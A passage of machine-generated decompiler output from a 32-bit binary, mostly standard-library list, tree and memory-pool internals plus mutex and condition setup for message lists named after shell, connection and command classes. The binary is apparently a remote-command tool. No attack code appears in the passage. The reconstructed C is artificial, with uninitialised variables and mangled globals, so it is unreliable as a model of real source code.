CThreadMutex_533();
return std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt_((int32_t **)(a1 + 4));
}
// Address range: 0x806ab50 - 0x806ac75
int32_t CThreadSignaledMessageList_lt_CThreadConnection_gt_(int32_t a1) {
int32_t v1 = a1 + 144; // 0x806ab5a
int32_t v2 = v1; // bp-44
CThreadCondition__DestroyCondition(&v2);
int32_t v3 = a1 + 72; // 0x806ab6e
v2 = v3;
CThreadCondition__DestroyCondition(&v2);
v2 = v1;
CThreadCondition_526();
v2 = v3;
CThreadCondition_526();
int32_t v4 = a1 + 36; // 0x806ac1e
v2 = v4;
CThreadMessageList_lt_CThreadConnection_gt_(v4);
return CThreadMessageList_lt_CThreadConnection_gt__249(a1);
}
// Address range: 0x806ac76 - 0x806ac8d
int32_t std__allocator_lt_CThreadShell__ptr__gt__250(int32_t a1) {
// 0x806ac76
__gnu_cxx____mt_alloc_lt_CThreadShell__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__225(a1);
return 0x8132c20;
}
// Address range: 0x806ac8e - 0x806acab
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2) {
// 0x806ac8e
std__allocator_lt_CThreadShell__ptr__gt__250(result);
return result;
}
// Address range: 0x806acce - 0x806ad35
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t a3) {
// 0x806acce
if (((g95 & -256 || (int32_t)(a2 == NULL)) ^ 1) % 2 == 0) {
// 0x806ad34
return 0;
}
// 0x806ace2
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t v1 = 12 * a3; // 0x806acf3
int32_t result; // 0x806ad35_11
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, (int32_t *)v1) == 0) {
// 0x806ad1f
int32_t v2;
result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v1, 0x806ace7, v2, 0, 0, 0);
// branch -> 0x806ad34
} else {
// 0x806ad0f
result = _ZdlPv(a2);
// branch -> 0x806ad34
}
// 0x806ad34
return result;
}
// Address range: 0x806ad36 - 0x806ad51
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_put_node(int32_t * a1, int32_t * a2) {
// 0x806ad36
g95 = (int32_t)a1;
return __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2, 1);
}
// Address range: 0x806af06 - 0x806af7b
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_clear(int32_t ** a1) {
int32_t result = (int32_t)a1; // 0x806af0d
int32_t v1 = *(int32_t *)a1; // 0x806af10
if ((int32_t **)v1 == a1) {
// 0x806af77
return result;
}
int32_t * v2 = (int32_t *)v1; // 0x806af1a_0
int32_t v3 = *v2; // 0x806af20
g98 = v1 + 8;
int32_t v4;
std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt___get_allocator(v4, (int32_t *)a1);
__gnu_cxx____mt_alloc_base_lt_CThreadShell__ptr__gt___destroy();
std__allocator_lt_CThreadShell__ptr__gt_(v4);
std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_put_node((int32_t *)a1, v2);
while ((int32_t **)v3 != a1) {
// 0x806af17
v1 = v3;
v2 = (int32_t *)v1;
v3 = *v2;
g98 = v1 + 8;
std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt___get_allocator(v4, (int32_t *)a1);
__gnu_cxx____mt_alloc_base_lt_CThreadShell__ptr__gt___destroy();
std__allocator_lt_CThreadShell__ptr__gt_(v4);
std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_put_node((int32_t *)a1, v2);
// continue -> 0x806af17
}
// 0x806af77
return result;
}
// Address range: 0x806af7c - 0x806afd3
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt_(int32_t ** a1) {
// 0x806af7c
std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_clear(a1);
return std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____List_impl((int32_t *)a1);
}
// Address range: 0x806afd4 - 0x806afeb
int32_t std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt_(int32_t ** a1) {
// 0x806afd4
return std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt_(a1);
}
// Address range: 0x806afec - 0x806b089
int32_t CThreadMessageList_lt_CThreadShell_gt_(int32_t a1) {
// 0x806afec
CThreadMutex__DestroyMutex((int32_t *)(a1 + 12));
CThreadMutex_533();
return std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt_((int32_t **)(a1 + 4));
}
// Address range: 0x806b08a - 0x806b127
int32_t CThreadMessageList_lt_CThreadShell_gt__251(int32_t a1) {
// 0x806b08a
CThreadMutex__DestroyMutex((int32_t *)(a1 + 12));
CThreadMutex_533();
return std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt_((int32_t **)(a1 + 4));
}
// Address range: 0x806b128 - 0x806b24d
int32_t CThreadSignaledMessageList_lt_CThreadShell_gt_(int32_t a1) {
int32_t v1 = a1 + 144; // 0x806b132
int32_t v2 = v1; // bp-44
CThreadCondition__DestroyCondition(&v2);
int32_t v3 = a1 + 72; // 0x806b146
v2 = v3;
CThreadCondition__DestroyCondition(&v2);
v2 = v1;
CThreadCondition_526();
v2 = v3;
CThreadCondition_526();
int32_t v4 = a1 + 36; // 0x806b1f6
v2 = v4;
CThreadMessageList_lt_CThreadShell_gt_(v4);
return CThreadMessageList_lt_CThreadShell_gt__251(a1);
}
// Address range: 0x806b724 - 0x806b729
void __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt_(void) {
// 0x806b724
return;
}
// Address range: 0x806b72a - 0x806b745
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__252(int32_t a1) {
// 0x806b72a
__gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x806b746 - 0x806b75d
int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__253(int32_t a1) {
// 0x806b746
__gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__252(a1);
return 0x8132c20;
}
// Address range: 0x806b75e - 0x806b779
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__254(int32_t a1) {
// 0x806b75e
__gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x806b77a - 0x806b795
int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__255(int32_t a1, int32_t a2) {
// 0x806b77a
__gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__254(a1);
return 0x8132c20;
}
// Address range: 0x806b796 - 0x806b7af
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____List_impl_256(int32_t ** a1, int32_t a2) {
// 0x806b796
std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__255((int32_t)a1, a2);
return 0x8132c20;
}
// Address range: 0x806b7b0 - 0x806b7f9
int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt__257(int32_t ** a1, int32_t a2) {
// 0x806b7b0
int32_t ** v1;
int32_t v2 = (int32_t)v1; // 0x806b7c0
std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__253(v2);
std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____List_impl_256(a1, v2);
std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__221(v2);
return std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_init(a1);
}
// Address range: 0x806b7fa - 0x806b813
int32_t std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt__258(int32_t ** a1, int32_t a2) {
// 0x806b7fa
return std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt__257(a1, a2);
}
// Address range: 0x806b814 - 0x806b8c5
int32_t CThreadMessageList_lt_CCmdMsg_gt__259(int32_t * a1) {
int32_t v1 = (int32_t)a1; // 0x806b81b
*a1 = 0;
int32_t v2;
std__allocator_lt_CCmdMsg__ptr__gt__220(v2);
std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt__258((int32_t **)(v1 + 4), v2);
std__allocator_lt_CCmdMsg__ptr__gt_(v2);
CThreadMutex_531();
return CThreadMutex__InitMutex(v1 + 12);
}
// Address range: 0x806b8c6 - 0x806b977
int32_t CThreadMessageList_lt_CCmdMsg_gt__260(int32_t * a1) {
int32_t v1 = (int32_t)a1; // 0x806b8cd
*a1 = 0;
int32_t v2;
std__allocator_lt_CCmdMsg__ptr__gt__220(v2);
std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt__258((int32_t **)(v1 + 4), v2);
std__allocator_lt_CCmdMsg__ptr__gt_(v2);
CThreadMutex_531();
return CThreadMutex__InitMutex(v1 + 12);
}
// Address range: 0x806b978 - 0x806ba77
int32_t CThreadSignaledMessageList_lt_CCmdMsg_gt__261(int32_t a1) {
int32_t v1 = a1; // bp-28
CThreadMessageList_lt_CCmdMsg_gt__259(&v1);
v1 = a1 + 36;
CThreadMessageList_lt_CCmdMsg_gt__260(&v1);
int32_t v2 = a1 + 72; // 0x806b9a3
v1 = v2;
CThreadCondition_524();
int32_t v3 = a1 + 144; // 0x806b9b5
v1 = v3;
CThreadCondition_524();
v1 = v2;
CThreadCondition__InitCondition(v2);
v1 = v3;
return CThreadCondition__InitCondition(v3);
}
// Address range: 0x806ba78 - 0x806ba7d
void __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt_(void) {
// 0x806ba78
return;
}
// Address range: 0x806ba7e - 0x806ba99
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__262(int32_t a1) {
// 0x806ba7e
__gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x806ba9a - 0x806bab1
int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__263(int32_t a1) {
// 0x806ba9a
__gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__262(a1);
return 0x8132c20;
}
// Address range: 0x806bab2 - 0x806bacd
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__264(int32_t a1) {
// 0x806bab2
__gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x806bace - 0x806bae9
int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__265(int32_t a1, int32_t a2) {
// 0x806bace
__gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__264(a1);
return 0x8132c20;
}
// Address range: 0x806baea - 0x806bb03
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____List_impl_266(int32_t ** a1, int32_t a2) {
// 0x806baea
std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__265((int32_t)a1, a2);
return 0x8132c20;
}
// Address range: 0x806bb04 - 0x806bb4d
int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt__267(int32_t ** a1, int32_t a2) {
// 0x806bb04
int32_t ** v1;
int32_t v2 = (int32_t)v1; // 0x806bb14
std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__263(v2);
std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____List_impl_266(a1, v2);
std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__224(v2);
return std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_init(a1);
}
// Address range: 0x806bb4e - 0x806bb67
int32_t std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt__268(int32_t ** a1, int32_t a2) {
// 0x806bb4e
return std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt__267(a1, a2);
}
// Address range: 0x806bb68 - 0x806bc19
int32_t CThreadMessageList_lt_CThreadConnection_gt__269(int32_t * a1) {
int32_t v1 = (int32_t)a1; // 0x806bb6f
*a1 = 0;
int32_t v2;
std__allocator_lt_CThreadConnection__ptr__gt__223(v2);
std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt__268((int32_t **)(v1 + 4), v2);
std__allocator_lt_CThreadConnection__ptr__gt_(v2);
CThreadMutex_531();
return CThreadMutex__InitMutex(v1 + 12);
}
// Address range: 0x806bc1a - 0x806bccb
int32_t CThreadMessageList_lt_CThreadConnection_gt__270(int32_t * a1) {
int32_t v1 = (int32_t)a1; // 0x806bc21
*a1 = 0;
int32_t v2;
std__allocator_lt_CThreadConnection__ptr__gt__223(v2);
std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt__268((int32_t **)(v1 + 4), v2);
std__allocator_lt_CThreadConnection__ptr__gt_(v2);
CThreadMutex_531();
return CThreadMutex__InitMutex(v1 + 12);
}
// Address range: 0x806bccc - 0x806bdcb
int32_t CThreadSignaledMessageList_lt_CThreadConnection_gt__271(int32_t a1) {
int32_t v1 = a1; // bp-28
CThreadMessageList_lt_CThreadConnection_gt__269(&v1);
v1 = a1 + 36;
CThreadMessageList_lt_CThreadConnection_gt__270(&v1);
int32_t v2 = a1 + 72; // 0x806bcf7
v1 = v2;
CThreadCondition_524();
int32_t v3 = a1 + 144; // 0x806bd09
v1 = v3;
CThreadCondition_524();
v1 = v2;
CThreadCondition__InitCondition(v2);
v1 = v3;
return CThreadCondition__InitCondition(v3);
}
// Address range: 0x806bdcc - 0x806bdd1
void __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadShell__ptr__gt___gt_(void) {
// 0x806bdcc
return;
}
// Address range: 0x806bdd2 - 0x806bded
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__272(int32_t a1) {
// 0x806bdd2
__gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadShell__ptr__gt___gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x806bdee - 0x806be05
int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__273(int32_t a1) {
// 0x806bdee
__gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__272(a1);
return 0x8132c20;
}
// Address range: 0x806be06 - 0x806be21
int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__274(int32_t a1) {
// 0x806be06
__gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadShell__ptr__gt___gt_();
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
return 0x8132c20;
}
// Address range: 0x806be22 - 0x806be3d
int32_t std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__275(int32_t a1, int32_t a2) {
// 0x806be22
__gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__274(a1);
return 0x8132c20;
}
// Address range: 0x806be3e - 0x806be57
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____List_impl_276(int32_t ** a1, int32_t a2) {
// 0x806be3e
std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__275((int32_t)a1, a2);
return 0x8132c20;
}
// Address range: 0x806be58 - 0x806bea1
int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt__277(int32_t ** a1, int32_t a2) {
// 0x806be58
int32_t ** v1;
int32_t v2 = (int32_t)v1; // 0x806be68
std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__273(v2);
std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____List_impl_276(a1, v2);
std__allocator_lt_std___List_node_lt_CThreadShell__ptr__gt___gt__227(v2);
return std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_init(a1);
}
// Address range: 0x806bea2 - 0x806bebb
int32_t std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt__278(int32_t ** a1, int32_t a2) {
// 0x806bea2
return std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt__277(a1, a2);
}
// Address range: 0x806bebc - 0x806bf6d
int32_t CThreadMessageList_lt_CThreadShell_gt__279(int32_t * a1) {
int32_t v1 = (int32_t)a1; // 0x806bec3
*a1 = 0;
int32_t v2;
std__allocator_lt_CThreadShell__ptr__gt__226(v2);
std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt__278((int32_t **)(v1 + 4), v2);
std__allocator_lt_CThreadShell__ptr__gt_(v2);
CThreadMutex_531();
return CThreadMutex__InitMutex(v1 + 12);
}
// Address range: 0x806bf6e - 0x806c01f
int32_t CThreadMessageList_lt_CThreadShell_gt__280(int32_t * a1) {
int32_t v1 = (int32_t)a1; // 0x806bf75
*a1 = 0;
int32_t v2;
std__allocator_lt_CThreadShell__ptr__gt__226(v2);
std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt__278((int32_t **)(v1 + 4), v2);
std__allocator_lt_CThreadShell__ptr__gt_(v2);
CThreadMutex_531();
return CThreadMutex__InitMutex(v1 + 12);
}
// Address range: 0x806c020 - 0x806c11f
int32_t CThreadSignaledMessageList_lt_CThreadShell_gt__281(int32_t a1) {
int32_t v1 = a1; // bp-28
CThreadMessageList_lt_CThreadShell_gt__279(&v1);
v1 = a1 + 36;
CThreadMessageList_lt_CThreadShell_gt__280(&v1);
int32_t v2 = a1 + 72; // 0x806c04b
v1 = v2;
CThreadCondition_524();
int32_t v3 = a1 + 144; // 0x806c05d
v1 = v3;
CThreadCondition_524();
v1 = v2;
CThreadCondition__InitCondition(v2);
v1 = v3;
return CThreadCondition__InitCondition(v3);
}
// Address range: 0x806c120 - 0x806c129
int32_t __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_void__ptr__gt___gt___max_size(void) {
// 0x806c120
return 0xccccccc;
}
// Address range: 0x806c12a - 0x806c271
int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, uint32_t a2) {
// 0x806c12a
__gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_void__ptr__gt___gt___max_size();
g95 = a2 > 0xccccccc != false;
if (a2 > 0xccccccc != false) {
// 0x806c151
std____throw_bad_alloc();
// branch -> 0x806c156
}
// 0x806c156
int32_t v1;
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(v1);
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t v2 = 20 * a2; // 0x806c16d
int32_t * v3 = (int32_t *)v2; // 0x806c170_0
int32_t result;
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, v3) != 0) {
// 0x806c189
int32_t * v4;
result = _Znwj(v2, v2, (int32_t)v4);
// branch -> 0x806c26c
// 0x806c26c
return result;
}
int32_t v5 = __gnu_cxx____pool_base___M_get_binmap((int32_t *)0x8132c20, v3); // 0x806c1af
int32_t v6 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id((int32_t *)0x8132c20); // 0x806c1c0
int32_t ** v7 = (int32_t **)__gnu_cxx____pool_lt_true_gt____M_get_bin((int32_t *)0x8132c20, (int32_t *)v5); // 0x806c1d4_4
int32_t * v8 = *v7; // 0x806c1ed
if (((int32_t)(v8 == NULL) || (int32_t)v8 & -256) == 1) {
// 0x806c24f
result = __gnu_cxx____pool_lt_true_gt____M_reserve_block((struct struct_88 *)0x8132c20, v2, v6);
// branch -> 0x806c26c
} else {
int32_t * v9 = *v7; // 0x806c206
*v7 = (int32_t *)*v9;
__gnu_cxx____pool_lt_true_gt____M_adjust_freelist((int32_t *)0x8132c20, *v7, v9);
int32_t v10 = __gnu_cxx____pool_base___M_get_align((int32_t *)0x8132c20) + (int32_t)v9; // 0x806c247
result = v10;
// branch -> 0x806c26c
}
// 0x806c26c
return result;
}
// Address range: 0x806c272 - 0x806c28d
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_get_node(int32_t * a1) {
// 0x806c272
return __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(a1, 1);
}
// Address range: 0x806c28e - 0x806c2e7
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_create_node(int32_t * a1, int32_t * a2) {
int32_t result = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_get_node(a1); // 0x806c29b
int32_t v1 = result + 16;
int32_t v2;
std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___get_allocator(v2, a1);
__gnu_cxx____mt_alloc_base_lt_void__ptr__gt___construct(v2, (int32_t *)v1);
std__allocator_lt_void__ptr__gt_(v2);
return result;
}
// Address range: 0x806c2e8 - 0x806c3a5
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_insert(int32_t * a1, int32_t * a2, int32_t * a3, int32_t * a4, int32_t * a5) {
int32_t v1 = 1;
int32_t * v2; // 0x806c381_0
int32_t v3; // 0x806c358
int32_t v4; // 0x806c363
if (a3 != NULL) {
// 0x806c349
v3 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_create_node(a2, a5);
v4 = (int32_t)a2;
g96 = v1;
std___Rb_tree_insert_and_rebalance((int32_t **)v1, (struct struct_96 *)v3, a4, (struct struct_94 *)(v4 + 4));
v2 = (int32_t *)(v4 + 20);
*v2 = *v2 + 1;
std___Rb_tree_iterator_lt_void__ptr__gt_((int32_t **)a1, (int32_t *)v3);
return (int32_t)a1;
}
// 0x806c2f5
if ((int32_t *)std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_end(a2) != a4) {
// 0x806c308
g98 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key_213((int32_t)a4);
int32_t v5;
int32_t v6 = std___Identity_lt_void__ptr__gt___operator_lb__rb_(v5); // 0x806c322
int32_t v7 = std__less_lt_void__ptr__gt___operator_lb__rb_(a2, (int32_t *)v6) != 0;
v1 = v7;
// branch -> 0x806c349
} else {
v1 = 1;
}
// 0x806c349
v3 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_create_node(a2, a5);
v4 = (int32_t)a2;
g96 = v1;
std___Rb_tree_insert_and_rebalance((int32_t **)v1, (struct struct_96 *)v3, a4, (struct struct_94 *)(v4 + 4));
v2 = (int32_t *)(v4 + 20);
*v2 = *v2 + 1;
std___Rb_tree_iterator_lt_void__ptr__gt_((int32_t **)a1, (int32_t *)v3);
return (int32_t)a1;
}
// Address range: 0x806c3a8 - 0x806c57f
int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___insert_unique(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = g98; // 0x806c3ab
int32_t v2 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_begin(a2); // 0x806c3b5
int32_t * v3 = (int32_t *)std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_end(a2); // 0x806c3c6_3
bool v4 = false;
if (v2 != 0) {
// branch -> 0x806c3d7
char v5; // 0x806c410
int32_t * v6; // 0x0111
while (true) {
// 0x806c3d7
v6 = (int32_t *)v2;
g98 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key(v6);
int32_t v7;
uint32_t v8 = std__less_lt_void__ptr__gt___operator_lb__rb_(a2, (int32_t *)std___Identity_lt_void__ptr__gt___operator_lb__rb_(v7)); // 0x806c408
v5 = v8;
int32_t v9;
if (v8 % 256 == 0) {
// 0x806c42d
v9 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_right(v6);
// branch -> 0x806c43f
} else {
// 0x806c419
v9 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_left(v6);
// branch -> 0x806c43f
}
// 0x806c43f
if (v9 == 0) {
// break -> 0x806c44b
break;
}
v2 = v9;
// continue -> 0x806c3d7
}
// 0x806c44b
v3 = v6;
v4 = v5 == 0;
// branch -> 0x806c44b
}
// 0x806c44b
int32_t ** v10;
std___Rb_tree_iterator_lt_void__ptr__gt_(v10, v3);
int32_t v11; // 0x806c502
int32_t v12;
int32_t * v13;
if (v4) {
// 0x806c4e7
g98 = std___Identity_lt_void__ptr__gt___operator_lb__rb_(v12);
